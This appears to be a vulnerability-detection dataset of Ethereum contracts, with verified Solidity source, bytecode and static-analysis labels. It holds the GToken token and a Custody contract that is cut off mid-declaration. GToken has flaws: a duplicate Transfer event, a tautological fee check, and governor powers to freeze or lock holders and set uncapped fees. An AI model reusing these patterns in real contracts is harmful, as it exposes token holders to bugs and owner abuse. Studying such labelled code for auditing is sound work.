46000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053506000600184600261114a9190611b4c565b6111549190611af6565b90505b6001811115611240577f3031323334353637383961626364656600000000000000000000000000000000600f8616601081106111bc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b8282815181106111f9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600485901c94508061123990611c57565b9050611157565b5060008414611284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127b90611994565b60405180910390fd5b8091505092915050565b60008135905061129d81611d0a565b92915050565b60008083601f8401126112b557600080fd5b8235905067ffffffffffffffff8111156112ce57600080fd5b6020830191508360208202830111156112e657600080fd5b9250929050565b6000813590506112fc81611d21565b92915050565b60008135905061131181611d38565b92915050565b60008135905061132681611d4f565b92915050565b60006020828403121561133e57600080fd5b600061134c8482850161128e565b91505092915050565b6000806020838503121561136857600080fd5b600083013567ffffffffffffffff81111561138257600080fd5b61138e858286016112a3565b92509250509250929050565b6000602082840312156113ac57600080fd5b60006113ba848285016112ed565b91505092915050565b600080604083850312156113d657600080fd5b60006113e4858286016112ed565b92505060206113f58582860161128e565b9150509250929050565b60006020828403121561141157600080fd5b600061141f84828501611302565b91505092915050565b60006020828403121561143a57600080fd5b600061144884828501611317565b91505092915050565b61145a81611ba6565b82525050565b61146981611bb8565b82525050565b61147881611bc4565b82525050565b600061148982611acf565b6114938185611ada565b93506114a3818560208601611c24565b6114ac81611cf9565b840191505092915050565b60006114c282611acf565b6114cc8185611aeb565b93506114dc818560208601611c24565b80840191505092915050565b60006114f5602083611ada565b91507f537472696e67733a20686578206c656e67746820696e73756666696369656e746000830152602082019050919050565b6000611535602f83611ada565b91507f57686974656c6973742d61646457686974656c69737465644d756c7469706c6560008301527f3a204c69737420746f6f206c6f6e6700000000000000000000000000000000006020830152604082019050919050565b600061159b602d83611ada565b91507f57686974654c6973743a5f61646457686974654c697374202d204e6f7420612060008301527f76616c69642061646472657373000000000000000000000000000000000000006020830152604082019050919050565b6000611601603483611ada565b91507f57686974656c6973743a3a6973436f6e74726f6c6c6572202d2043616c6c657260008301527f206973206e6f74206120636f6e74726f6c6c65720000000000000000000000006020830152604082019050919050565b6000611667603983611ada565b91507f57686974656c6973742d5f72656d6f766557686974656c69737465643a20616360008301527f636f756e7420776173206e6f742077686974656c6973746564000000000000006020830152604082019050919050565b60006116cd603283611ada565b91507f57686974654c6973743a5f72656d6f766557686974656c6973746564202d204e60008301527f6f7420612076616c6964206164647265737300000000000000000000000000006020830152604082019050919050565b6000611733603683611ada565b91507f57686974656c6973742d5f61646457686974656c69737465643a206163636f7560008301527f6e7420616c72656164792077686974656c6973746564000000000000000000006020830152604082019050919050565b6000611799603283611ada565b91507f57686974656c6973742d72656d6f766557686974656c69737465644d756c746960008301527f706c653a204c69737420746f6f206c6f6e6700000000000000000000000000006020830152604082019050919050565b60006117ff601783611aeb565b91507f416363657373436f6e74726f6c3a206163636f756e74200000000000000000006000830152601782019050919050565b600061183f601183611aeb565b91507f206973206d697373696e6720726f6c65200000000000000000000000000000006000830152601182019050919050565b600061187f602f83611ada565b91507f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008301527f20726f6c657320666f722073656c6600000000000000000000000000000000006020830152604082019050919050565b6118e181611c1a565b82525050565b60006118f2826117f2565b91506118fe82856114b7565b915061190982611832565b915061191582846114b7565b91508190509392505050565b60006020820190506119366000830184611451565b92915050565b60006020820190506119516000830184611460565b92915050565b600060208201905061196c600083018461146f565b92915050565b6000602082019050818103600083015261198c818461147e565b905092915050565b600060208201905081810360008301526119ad816114e8565b9050919050565b600060208201905081810360008301526119cd81611528565b9050919050565b600060208201905081810360008301526119ed8161158e565b9050919050565b60006020820190508181036000830152611a0d816115f4565b9050919050565b60006020820190508181036000830152611a2d8161165a565b9050919050565b60006020820190508181036000830152611a4d816116c0565b9050919050565b60006020820190508181036000830152611a6d81611726565b9050919050565b60006020820190508181036000830152611a8d8161178c565b9050919050565b60006020820190508181036000830152611aad81611872565b9050919050565b6000602082019050611ac960008301846118d8565b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000611b0182611c1a565b9150611b0c83611c1a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611b4157611b40611cca565b5b828201905092915050565b6000611b5782611c1a565b9150611b6283611c1a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611b9b57611b9a611cca565b5b828202905092915050565b6000611bb182611bfa565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015611c42578082015181840152602081019050611c27565b83811115611c51576000848401525b50505050565b6000611c6282611c1a565b91506000821415611c7657611c75611cca565b5b600182039050919050565b6000611c8c82611c1a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611cbf57611cbe611cca565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000601f19601f8301169050919050565b611d1381611ba6565b8114611d1e57600080fd5b50565b611d2a81611bc4565b8114611d3557600080fd5b50565b611d4181611bce565b8114611d4c57600080fd5b50565b611d5881611c1a565b8114611d6357600080fd5b5056fea2646970667358221220bc9b5331bb2957b35b1baeb85702a7ba995222843b0008c6c0d0fbed9f45655764736f6c63430008000033
{"success": true, "error": null, "results": {}}
1,241
0x1f3e412b561c7a0e94ff819a95482eb94839caa4
/** *Submitted for verification at Etherscan.io on 2021-07-10 */ // SPDX-License-Identifier: ISC pragma solidity ^0.8.4; /* ---------------------------------------------------------------------------- 'GToken' contract * Symbol : GTO * Name : GToken * Total supply: 1 trillion * Decimals : 18 ---------------------------------------------------------------------------- */ interface IGtoken { /** * @dev returns the name of the token */ function name() external view returns (string memory); /** * @dev returns the symbol of the token */ function symbol() external view returns (string memory); /** * @dev returns the decimal places of a token */ function decimals() external view returns (uint8); /** * @dev returns the total tokens in existence */ function totalSupply() external view returns (uint256); /** * @dev returns the tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev transfers the `amount` of tokens from caller's account * to the `recipient` account. * * returns boolean value indicating the operation status. * * Emits a {Transfer} event */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev returns the remaining number of tokens the `spender' can spend * on behalf of the owner. * * This value changes when {approve} or {transferFrom} is executed. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev sets `amount` as the `allowance` of the `spender`. * * returns a boolean value indicating the operation status. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev transfers the `amount` on behalf of `spender` to the `recipient` account. * * returns a boolean indicating the operation status. * * Emits a {Transfer} event. */ function transferFrom( address spender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted from tokens are moved from one account('from') to another account ('to) */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when allowance of a `spender` is set by the `owner` */ event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function msgSender() internal view virtual returns(address) { return msg.sender; } function msgData() internal view virtual returns(bytes calldata) { this; return msg.data; } function msgValue() internal view virtual returns(uint256) { return msg.value; } } contract GToken is IGtoken, Context { mapping(address => uint256) private balances; mapping(address => mapping(address => uint256)) private allowances; address private _governor; uint256 private _totalSupply; uint256 public feeFraction = 10; string private _name; string private _symbol; // allowedAddresses will be able to transfer even when locked mapping(address => bool) public allowedAddresses; // lockedAddresses will *not* be able to transfer even when *not locked* mapping(address => bool) public lockedAddresses; mapping (address => mapping (address => uint256)) allowed; bool public freezed = false; /** * @dev checks whether `caller` is governor; */ modifier onlyGovernor() { require(msgSender() == _governor, "ERC20: caller not governor"); _; } /** * @dev adds the address to the list of allowedAddresses */ function allowAddress(address _addr, bool _allowed) public onlyGovernor { require(_addr != _governor); allowedAddresses[_addr] = _allowed; } /** * @dev adds the address to the list of lockedAddresses */ function lockAddress(address _addr, bool _locked) public onlyGovernor { require(_addr != _governor); lockedAddresses[_addr] = _locked; } /** * @dev freezes the contract */ function freeze() public onlyGovernor { freezed = true; } /** * @dev unfreezes the contract */ function unfreeze() public onlyGovernor { freezed = false; } /** * @dev validates the transfer */ function validateTransfer(address _addr) internal view returns (bool) { if(freezed){ if(!allowedAddresses[_addr]&&_addr!=_governor) return false; } else if(lockedAddresses[_addr]) return false; return true; } /** * @dev sets the {name}, {symbol} and {governor wallet} of the token. * * All the two variables are immutable and cannot be changed * and set only in the constructor. */ constructor(string memory name_, string memory symbol_, address _governorAddress) { _name = name_; _symbol = symbol_; _governor = _governorAddress; } /** * @dev returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev returns the symbol of the token. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev returns the decimals of the token */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev returns the total supply of the token */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev returns the number of tokens owned by `account` */ function balanceOf(address account) public view virtual override returns (uint256) { return balances[account]; } /** * @dev returns the amount the `spender` can spend on behalf of the `owner`. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return allowances[owner][spender]; } /** * @dev Approve a `spender` to spend tokens on behalf of the `owner`. */ function approve(address spender, uint256 value) public virtual override returns (bool) { _approve(msgSender(), spender, value); return true; } /** * @dev to increase the allowance of `spender` over the `owner` account. * * Requirements * `spender` cannot be zero address */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( msgSender(), spender, allowances[msgSender()][spender] + addedValue ); return true; } /** * @dev to decrease the allowance of `spender` over the `owner` account. * * Requirements * `spender` allowance shoule be greater than the `reducedValue` * `spender` cannot be a zero address */ function decreaseAllowance(address spender, uint256 reducedValue) public virtual returns (bool) { uint256 currentAllowance = allowances[msgSender()][spender]; require( currentAllowance >= reducedValue, "ERC20: ReducedValue greater than allowance" ); _approve(msgSender(), spender, currentAllowance - reducedValue); return true; } /** * @dev sets the amount as the allowance of `spender` over the `owner` address * * Requirements: * `owner` cannot be zero address * `spender` cannot be zero address */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from zero address"); require(spender != address(0), "ERC20: approve to zero address"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev transfers the `amount` of tokens to `recipient` */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require(validateTransfer(msgSender()),"ERC20: Transfer reverted"); _transfer(msgSender(), recipient, amount); emit Transfer(msgSender(), recipient, amount); return true; } /** * @dev transfers the 'amount` from the `sender` to the `recipient` * on behalf of the `sender`. * * Requirements * `sender` and `recipient` should be non zero addresses * `sender` should have balance of more than `amount` * `caller` must have allowance greater than `amount` */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { require(validateTransfer(sender),"ERC20: Transfer reverted"); _transfer(sender, recipient, amount); uint256 currentAllowance = allowances[sender][msgSender()]; require(currentAllowance >= amount, "ERC20: amount exceeds allowance"); _approve(sender, msgSender(), currentAllowance - amount); emit Transfer(sender, recipient, amount); return true; } /** * @dev mints the amount of tokens to the `recipient` wallet. * * Requirements : * * The caller must be the `governor` of the contract. * Governor can be an DAO smart contract. */ function mint(address recipient, uint256 amount) public virtual onlyGovernor returns (bool) { require(recipient != address(0), "ERC20: mint to a zero address"); _totalSupply += amount; balances[recipient] += amount; emit Transfer(address(0), recipient, amount); return true; } /** * @dev burns the `amount` tokens from `supply`. * * Requirements * `caller` address balance should be greater than `amount` */ function burn(uint256 amount) public virtual onlyGovernor returns (bool) { uint256 currentBalance = balances[msgSender()]; require( currentBalance >= amount, "ERC20: burning amount exceeds balance" ); balances[msgSender()] = currentBalance - amount; _totalSupply -= amount; return true; } /** * @dev transfers the `amount` of tokens from `sender` to `recipient`. * * Requirements: * `sender` is not a zero address * `recipient` is also not a zero address * `amount` is less than or equal to balance of the sender. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from zero address"); require(recipient != address(0), "ERC20: transfer to zero address"); uint256 senderBalance = balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); balances[sender] = senderBalance - amount; // Transfer the spread to the admin uint256 fee = amount * feeFraction / 10**4; uint256 receiverAmount = amount - fee; balances[recipient] += receiverAmount; balances[_governor] +=fee; emit Transfer(sender, recipient, amount); } /** * @dev returns the current `governor` address. * * `governors` can mint / burn Gtokens */ function governor() public view virtual returns (address) { return _governor; } /** * @dev transfers the governance of the contract. * * Requirements : * `caller` should be the current governor. * `newGovernor` cannot be a zero address. */ function transferGovernance(address newGovernor) public virtual onlyGovernor returns (bool) { require(newGovernor != address(0), "ERC20: zero address cannot govern"); _governor = newGovernor; return true; } /** * @dev changes the transaction fee. * * Requirements : * `caller` should be the current governor. * `transactionFee` cannot be less than zero. */ function setTransactionFee(uint256 _newFeeFraction) public virtual onlyGovernor returns (bool) { require(_newFeeFraction >= 0, "ERC20: fee must not be negative"); feeFraction = _newFeeFraction; return true; } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80635bf8eddd116100c3578063a5bbd67a1161007c578063a5bbd67a146102ce578063a9059cbb146102f1578063b7540d9f14610304578063d38bfff414610311578063dd62ed3e14610324578063f22600311461035d57600080fd5b80635bf8eddd1461027157806362a5af3b1461027a5780636a28f0001461028257806370a082311461028a57806395d89b41146102b3578063a457c2d7146102bb57600080fd5b8063313ce56711610115578063313ce567146101f1578063395093511461020057806340c10f19146102135780634120657a1461022657806342966c68146102495780634edc689d1461025c57600080fd5b806306fdde031461015d578063095ea7b31461017b578063096a8ab71461019e5780630c340a24146101b157806318160ddd146101cc57806323b872dd146101de575b600080fd5b610165610370565b6040516101729190610ff7565b60405180910390f35b61018e610189366004610fb6565b610402565b6040519015158152602001610172565b61018e6101ac366004610fdf565b610418565b6002546040516001600160a01b039091168152602001610172565b6003545b604051908152602001610172565b61018e6101ec366004610f41565b610465565b60405160128152602001610172565b61018e61020e366004610fb6565b610590565b61018e610221366004610fb6565b6105c7565b61018e610234366004610eee565b60076020526000908152604090205460ff1681565b61018e610257366004610fdf565b6106d0565b61026f61026a366004610f7c565b6107b1565b005b6101d060045481565b61026f61082a565b61026f61086c565b6101d0610298366004610eee565b6001600160a01b031660009081526020819052604090205490565b6101656108ab565b61018e6102c9366004610fb6565b6108ba565b61018e6102dc366004610eee565b60086020526000908152604090205460ff1681565b61018e6102ff366004610fb6565b61095a565b600a5461018e9060ff1681565b61018e61031f366004610eee565b6109e2565b6101d0610332366004610f0f565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61026f61036b366004610f7c565b610a9d565b60606005805461037f906110ef565b80601f01602080910402602001604051908101604052809291908181526020018280546103ab906110ef565b80156103f85780601f106103cd576101008083540402835291602001916103f8565b820191906000526020600020905b8154815290600101906020018083116103db57829003601f168201915b5050505050905090565b600061040f338484610b16565b50600192915050565b6002546000906001600160a01b0316336001600160a01b0316146104575760405162461bcd60e51b815260040161044e9061104a565b60405180910390fd5b50600481905560015b919050565b600061047084610c23565b6104b75760405162461bcd60e51b8152602060048201526018602482015277115490cc8c0e88151c985b9cd9995c881c995d995c9d195960421b604482015260640161044e565b6104c2848484610cab565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156105365760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20616d6f756e74206578636565647320616c6c6f77616e636500604482015260640161044e565b61054a853361054586856110d8565b610b16565b836001600160a01b0316856001600160a01b03166000805160206111418339815191528560405161057d91815260200190565b60405180910390a3506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161040f918590610545908690611081565b6002546000906001600160a01b0316336001600160a01b0316146105fd5760405162461bcd60e51b815260040161044e9061104a565b6001600160a01b0383166106535760405162461bcd60e51b815260206004820152601d60248201527f45524332303a206d696e7420746f2061207a65726f2061646472657373000000604482015260640161044e565b81600360008282546106659190611081565b90915550506001600160a01b03831660009081526020819052604081208054849290610692908490611081565b90915550506040518281526001600160a01b03841690600090600080516020611141833981519152906020015b60405180910390a350600192915050565b6002546000906001600160a01b0316336001600160a01b0316146107065760405162461bcd60e51b815260040161044e9061104a565b33600090815260208190526040902054828110156107745760405162461bcd60e51b815260206004820152602560248201527f45524332303a206275726e696e6720616d6f756e7420657863656564732062616044820152646c616e636560d81b606482015260840161044e565b61077e83826110d8565b33600090815260208190526040812091909155600380548592906107a39084906110d8565b909155506001949350505050565b6002546001600160a01b0316336001600160a01b0316146107e45760405162461bcd60e51b815260040161044e9061104a565b6002546001600160a01b03838116911614156107ff57600080fd5b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6002546001600160a01b0316336001600160a01b03161461085d5760405162461bcd60e51b815260040161044e9061104a565b600a805460ff19166001179055565b6002546001600160a01b0316336001600160a01b03161461089f5760405162461bcd60e51b815260040161044e9061104a565b600a805460ff19169055565b60606006805461037f906110ef565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156109415760405162461bcd60e51b815260206004820152602a60248201527f45524332303a205265647563656456616c75652067726561746572207468616e60448201526920616c6c6f77616e636560b01b606482015260840161044e565b610950338561054586856110d8565b5060019392505050565b600061096533610c23565b6109ac5760405162461bcd60e51b8152602060048201526018602482015277115490cc8c0e88151c985b9cd9995c881c995d995c9d195960421b604482015260640161044e565b6109b7338484610cab565b6040518281526001600160a01b038416903390600080516020611141833981519152906020016106bf565b6002546000906001600160a01b0316336001600160a01b031614610a185760405162461bcd60e51b815260040161044e9061104a565b6001600160a01b038216610a785760405162461bcd60e51b815260206004820152602160248201527f45524332303a207a65726f20616464726573732063616e6e6f7420676f7665726044820152603760f91b606482015260840161044e565b50600280546001600160a01b0383166001600160a01b03199091161790556001919050565b6002546001600160a01b0316336001600160a01b031614610ad05760405162461bcd60e51b815260040161044e9061104a565b6002546001600160a01b0383811691161415610aeb57600080fd5b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6001600160a01b038316610b6c5760405162461bcd60e51b815260206004820181905260248201527f45524332303a20617070726f76652066726f6d207a65726f2061646472657373604482015260640161044e565b6001600160a01b038216610bc25760405162461bcd60e51b815260206004820152601e60248201527f45524332303a20617070726f766520746f207a65726f20616464726573730000604482015260640161044e565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600a5460009060ff1615610c7a576001600160a01b03821660009081526007602052604090205460ff16158015610c6857506002546001600160a01b03838116911614155b15610c7557506000919050565b610ca3565b6001600160a01b03821660009081526008602052604090205460ff1615610ca357506000919050565b506001919050565b6001600160a01b038316610d0b5760405162461bcd60e51b815260206004820152602160248201527f45524332303a207472616e736665722066726f6d207a65726f206164647265736044820152607360f81b606482015260840161044e565b6001600160a01b038216610d615760405162461bcd60e51b815260206004820152601f60248201527f45524332303a207472616e7366657220746f207a65726f206164647265737300604482015260640161044e565b6001600160a01b03831660009081526020819052604090205481811015610dd95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161044e565b610de382826110d8565b6001600160a01b03851660009081526020819052604081209190915560045461271090610e1090856110b9565b610e1a9190611099565b90506000610e2882856110d8565b905080600080876001600160a01b03166001600160a01b031681526020019081526020016000206000828254610e5e9190611081565b90915550506002546001600160a01b031660009081526020819052604081208054849290610e8d908490611081565b92505081905550846001600160a01b0316866001600160a01b031660008051602061114183398151915286604051610ec791815260200190565b60405180910390a3505050505050565b80356001600160a01b038116811461046057600080fd5b600060208284031215610eff578081fd5b610f0882610ed7565b9392505050565b60008060408385031215610f21578081fd5b610f2a83610ed7565b9150610f3860208401610ed7565b90509250929050565b600080600060608486031215610f55578081fd5b610f5e84610ed7565b9250610f6c60208501610ed7565b9150604084013590509250925092565b60008060408385031215610f8e578182fd5b610f9783610ed7565b915060208301358015158114610fab578182fd5b809150509250929050565b60008060408385031215610fc8578182fd5b610fd183610ed7565b946020939093013593505050565b600060208284031215610ff0578081fd5b5035919050565b6000602080835283518082850152825b8181101561102357858101830151858201604001528201611007565b818111156110345783604083870101525b50601f01601f1916929092016040019392505050565b6020808252601a908201527f45524332303a2063616c6c6572206e6f7420676f7665726e6f72000000000000604082015260600190565b600082198211156110945761109461112a565b500190565b6000826110b457634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156110d3576110d361112a565b500290565b6000828210156110ea576110ea61112a565b500390565b600181811c9082168061110357607f821691505b6020821081141561112457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220030fbd21e9c24de93ac214f024ab3da8d97c26c13ae2b6ccfa2453cddeca8c8664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
1,242
0xbc0994532E1CDC917391C249bCEd989D025aD165
/** *Submitted for verification at Etherscan.io on 2021-06-01 */ // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Custody is Ownable { using Address for address; mapping(address => bool) public authorized; IERC20 public token; modifier onlyAuthorized() { require(authorized[msg.sender], "Not authorized"); _; } constructor(address _tokenAddress) { token = IERC20(_tokenAddress); authorized[owner()] = true; } // Reject any ethers sent to this smart-contract receive() external payable { revert("Rejecting tx with ethers sent"); } function authorize(address _account) public onlyOwner { authorized[_account] = true; } function forbid(address _account) public onlyOwner { require(_account != owner(), "Owner access cannot be forbidden!"); authorized[_account] = false; } function transferOwnership(address newOwner) public override onlyOwner { authorized[owner()] = false; super.transferOwnership(newOwner); authorized[owner()] = true; } function withdraw(uint256 amount) onlyAuthorized public { token.transfer(msg.sender, amount); } // Allow to withdraw any arbitrary token, should be used by // contract owner to recover accidentally received funds. function recover(address _tokenAddress, uint256 amount) onlyOwner public { IERC20(_tokenAddress).transfer(msg.sender, amount); } // Allows to withdraw funds into many addresses in one tx // (or to do mass bounty payouts) function 